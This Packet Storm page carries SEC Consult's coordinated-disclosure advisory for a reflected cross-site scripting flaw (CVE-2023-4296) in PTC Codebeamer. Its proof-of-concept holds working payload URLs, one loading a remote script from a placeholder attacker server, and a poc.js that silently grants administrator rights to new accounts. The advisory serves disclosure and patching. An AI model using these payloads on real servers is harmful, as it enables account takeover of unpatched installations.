exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PTC - Codebeamer Cross Site Scripting

PTC - Codebeamer Cross Site Scripting
Posted Sep 18, 2023
Authored by Niklas Schilling | Site sec-consult.com

PTC - Codebeamer versions 22.10-SP7 and below, 22.04-SP5 and below, and 21.09-SP13 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2023-4296
SHA-256 | a3e11343a596c27acafa688a8dc7b67a179c5d43d4e4c49067b5f5f15cf9e85a

PTC - Codebeamer Cross Site Scripting

Change Mirror Download
SEC Consult Vulnerability Lab Security Advisory < 20230829-0 >
=======================================================================
title: Reflected Cross-Site Scripting (XSS)
product: PTC - Codebeamer (ALM Solution)
vulnerable version: <=22.10-SP7, <=22.04-SP5, <=21.09-SP13
fixed version: >=22.10-SP8, >=22.04-SP6, >=21.09-SP14
CVE number: CVE-2023-4296
impact: high
homepage: https://www.ptc.com/en/products/codebeamer
found: 2023-04-14
by: Niklas Schilling (Office Munich)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult, an Eviden business
Europe | Asia

https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Codebeamer offers unique digital workflows that help your teams improve
development collaboration, product line development efficiency, and regulatory
compliance. Codebeamer's open platform extends application lifecycle management
functionalities with product line configuration capabilities, and provides
unique configurability for complex processes. Connect all development tools to
give your teams a single development platform. You can also easily adapt the
solution to specific development needs and automate process control for
regulatory compliance."

Source: https://www.ptc.com/en/products/codebeamer


Business recommendation:
------------------------
SEC Consult recommends PTC customers to install the latest updates.

Furthermore, an in-depth security analysis performed by security professionals
is highly advised, as the software may be affected from other security issues.


Vulnerability overview/description:
-----------------------------------
1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296)
The dynamic Error Page in Codebeamer is vulnerable to a reflected XSS attack.
It successfully sanitizes malicious HTML tags such as <script> and various
JavaScript events like "onload" or "onerror" that can be used to execute arbitrary
JavaScript code when a certain event occurs.

However, it was possible to bypass these restrictions, allowing an attacker
to inject arbitrary JavaScript code which will be executed in the victim's
browser upon clicking on a malicious link.


Proof of concept:
-----------------
1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296)
To verify this vulnerability, it is sufficient to open the following URL as
an unauthenticated user in a web browser:
https://<CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove = alert(window.origin)>

When a user now moves the cursor anywhere on the Error Page, the
"onpointermove" event triggers, resulting in the execution of the alert()
function.

To further demonstrate the criticality of this vulnerability, the following
XSS payload can be used:

https://<CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove =
"if(!document.getElementById('SEC1337')){window.x=document.createElement('script');
window.x.id='SEC1337';window.x.src ='https://<ATTACKER_SERVER>/poc.js';
document.body.appendChild(window.x);}"></html>

Note that the space before the equal sign in "window.x.src ='https://<ATTACKER_SERVER>/poc.js'"
is mandatory, as this section of the payload would otherwise be truncated to
"window.x." by the application, completely removing the URL of the attacker
server.

When an admin user now clicks on this malicious link, an external JavaScript
file will be loaded (poc.js), which can be found below. The included
JavaScript code creates a hidden iframe which loads the page with the User
Registration settings. This page allows to specify, whether newly registered
accounts should get assigned to a certain group via multiple checkboxes to
choose from. The script now automatically selects the checkbox
"System Administrator", resulting in newly registered accounts having admin
privileges in the application. As this attack takes place in a hidden iframe,
the victim doesn't get any visual feedback that the attack is happening.

Attack Sequence:
1. Send the malicious link to an administrator.
2. Wait for the administrator to click on the malicious link.
3. Register a new account with automatic admin privileges.

Content of poc.js:
frame = document.createElement("iframe");
frame.addEventListener("load", function() {
setTimeout(function(){
frame.contentDocument.getElementById("roles1").click();
frame.contentDocument.getElementById("notificationFrom").value = "example@sec-consult.com";
frame.contentDocument.getElementById("notificationAddress").value = "example@sec-consult.com";
frame.contentDocument.getElementsByClassName("actionBar")[0].childNodes[1].click();
}, 2000)
});
frame.src = "http://<CODEBEAMER_SERVER>/sysadmin/configUserRegistration.spr";
frame.style="position: absolute;width:0;height:0;border:0;";
document.body.append(frame);


Vulnerable / tested versions:
-----------------------------
The following Codebeamer versions are affected by this vulnerability:
<=22.10-SP7, <=22.04-SP5, <=21.09-SP13


Vendor contact timeline:
------------------------
2023-06-05: Sending the advisory to cvd@ptc.com
2023-06-05: Vendor confirms receipt of advisory.
2023-06-16: Vendor confirms vulnerability and mentions a fix in version "22.10-SP6".
2023-06-19: Informing the vendor that version "22.10-SP6" is still vulnerable.
2023-06-21: Vendor confirms that the vulnerability still exists in version
"22.10-SP6" and that it's actually fixed in version "22.10-SP7".
Furthermore, vendor asks if we're fine with a public disclosure via CISA.
2023-06-22: Informing vendor that public disclosure via CISA is fine.
2023-06-22: Vendor mentions that he contacts CISA and that he keeps us in loop.
2023-07-14: Asking vendor for a status update regarding CISA.
2023-07-14: Vendor requests access to CISA VINCE for a public disclosure.
2023-07-14: Access granted to CISA VINCE.
2023-08-01: Date of public disclosure set to 2023-08-29.
2023-08-29: Coordinated advisory release.


Solution:
---------
Update version "22.10-X" to "22.10-SP8" or later.
Update version "22.04-X" to "22.04-SP6" or later.
Update version "21.09-X" to "21.09-SP14" or later.

The following URL was provided by the vendor with additional remediation information:
https://codebeamer.com/cb/wiki/31346480


Workaround:
-----------
No workaround available.


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Eviden business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: https://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF N. Schilling / @2023

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close